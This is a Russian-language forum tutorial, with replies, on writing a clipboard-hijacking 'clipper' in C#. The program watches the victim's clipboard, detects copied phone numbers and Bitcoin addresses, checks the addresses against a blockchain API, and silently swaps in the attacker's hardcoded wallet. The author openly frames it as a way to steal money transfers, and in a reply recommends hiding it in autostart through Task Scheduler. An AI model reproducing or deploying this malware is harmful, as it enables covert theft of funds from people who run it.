Добрый день форумчане. Я редко сижу на форумах, хотя зарегистрирован тут давно. Недавно мои знакомые начали меня заставлять общаться с людьми:biggrin: По этому думаю настало время делиться всеми своими наработками и обучать новичков. Для начала объясню что же такое клипер - данная софтина будет подменять скопированные пользователем данные на нужные нам. Например кошельки вебмани, яндекс денег, ****, криптовалюты и т.д. Для чего это нужно думаю догадались, но для не дальновидных поясню: - закинули жертве exe файл она его запустила и нечего не подозревает. - захотела наша жертва сделать перевод денег со своего **** на **** своей подруги. - спросила у подруги номер кошелька, скопировала его, и вставила на сайте для перевода. но вместо кошелька подруги вставился наш кошелек. ну дальше думаю уж точно все ясно Сегодня мы с вами напишем простенький клипер на c# который будет подменять номер телефона и (внимание!) НА 100% подменять биткоин кошелек. Для начала создадим проект в Visual Studio (я буду использовать версию 2017), версию Фреймворка ставим 3.5 (переписать под 2.0 особых проблем не составит так как все функции и методы которые сегодня будем использовать, стандартные. После создания проекта добавляем библиотеки: - System.Windows.Forms - ClipboardHelper (Скачать данную библиотеку можно тут: http://rgho.st/782KjQMLg) Подключаем нужные нам юзинги: using System.Net; using System.IO; using System.Text.RegularExpressions; using System.Windows.Forms; using ClipboardHelper; Далее создаем событие изменения буфера обмена, назовем его "Clip": static void Clip(ClipboardFormat format, object data) { Regex myReg1 = new Regex(@"((\+38|8)[ ]?)?([(]?\d{3}[)]?[\- ]?)?[\d\-]{6,14}"); //Номер телефона Regex myReg2 = new Regex(@"^(?=.*[0-9])(?=.*[a-zA-Z])[\da-zA-Z]{27,34}$"); //Биткоин string bufertext = Clipboard.GetText(); if (myReg1.IsMatch(bufertext)) Clipboard.SetText("Номер телефона"); else if (myReg2.IsMatch(bufertext) && GET("https://blockchain.info/ru/q/addresstohash/",bufertext) != "0") Clipboard.SetText("16JpwbFNzQGAbfJPJgR7MNs9EPTfbK5bsh"); } Код static void Clip(ClipboardFormat format, object data) { Regex myReg1 = new Regex(@"((\+38|8)[ ]?)?([(]?\d{3}[)]?[\- ]?)?[\d\-]{6,14}"); //Номер телефона Regex myReg2 = new Regex(@"^(?=.*[0-9])(?=.*[a-zA-Z])[\da-zA-Z]{27,34}$"); //Биткоин string bufertext = Clipboard.GetText(); if (myReg1.IsMatch(bufertext)) Clipboard.SetText("Номер телефона"); else if (myReg2.IsMatch(bufertext) && GET("https://blockchain.info/ru/q/addresstohash/",bufertext) != "0") Clipboard.SetText("16JpwbFNzQGAbfJPJgR7MNs9EPTfbK5bsh"); } В данном примере мы видем две регулярки: Regex myReg1 = new Regex(@"((\+38|8)[ ]?)?([(]?\d{3}[)]?[\- ]?)?[\d\-]{6,14}"); Regex myReg2 = new Regex(@"^(?=.*[0-9])(?=.*[a-zA-Z])[\da-zA-Z]{27,34}$"); Первая определяет что в строке находится номер телефона а вторая определяет что в строке находится кошелек биткоинов. В данном случае строкой является то что жертва скопировала в буфер обмена. Но есть большое "НО"! Регулярки не могут на 100% знать что в строке действительно биткоины, они лишь способны сказать что данный текст похож на номер BTC. По этому мы обратимся к API BTC и спросим у них "Слышь бро, подскажи ка, эти битки существуют?", на что он нам даст точный ответ и мы будем уверены подменять сейчас буфер обмена или нет. по этому создадим статическую переменную типа string и назовем ее GET: static string GET(string URL, string param) { try { WebRequest req = WebRequest.Create(URL + param); WebResponse resp = req.GetResponse(); Stream stream = resp.GetResponseStream(); StreamReader sr = new StreamReader(stream); string OUT = sr.ReadToEnd(); return OUT; } catch { return "0"; } Код static string GET(string URL, string param) { try { WebRequest req = WebRequest.Create(URL + param); WebResponse resp = req.GetResponse(); Stream stream = resp.GetResponseStream(); StreamReader sr = new StreamReader(stream); string OUT = sr.ReadToEnd(); return OUT; } catch { return "0"; } Незабываем обернуть код в try catch ибо если скопируеться не существующий биток мы получим исключение. Теперь в main запустим наш обработчик таким вот образом: ClipboardMonitor.OnClipboardChange += Clip; ClipboardMonitor.Start(); Запускаем и проверяем: Загрузка **: 0% (при копировании поднимается на секунду до 0,1%) Загрузка сети: 0% (при копировании битков - 0,1%) Память: 3.5МБ (если консоль не скрыта то 6МБ, в режиме отладки до 11МБ). Для тех кто нечего не понял показываю наглядно: Лайки и коменты на ютуб приветствуются:p:. Всем спасибо за внимание надеюсь кому-то помог. #моястатья
скромыч, ты забыл поставить в конце #моястатья RaysMorgan однозначно дай ему авторку, такого контента еще не было)))
да и по питону мало, на англоязычных бордах инфы полно, в рунете вообще с гулькин нос, нужно исправлять!
если и было то врятли кто-то писал с помощью winapi. максимум цикл с thread.sleap(0) - но это также грузит систему)
во первых нет. мы вешаем наш софт на событие в winAPI. он будет работать постоянно. Ну и вовторых - софт нужно запихнуть в автозагрузку (желательно в планировщик задач) ну и еще много чего. Я сейчас показал пример ПРАВИЛЬНОГО клипера без использования циклов.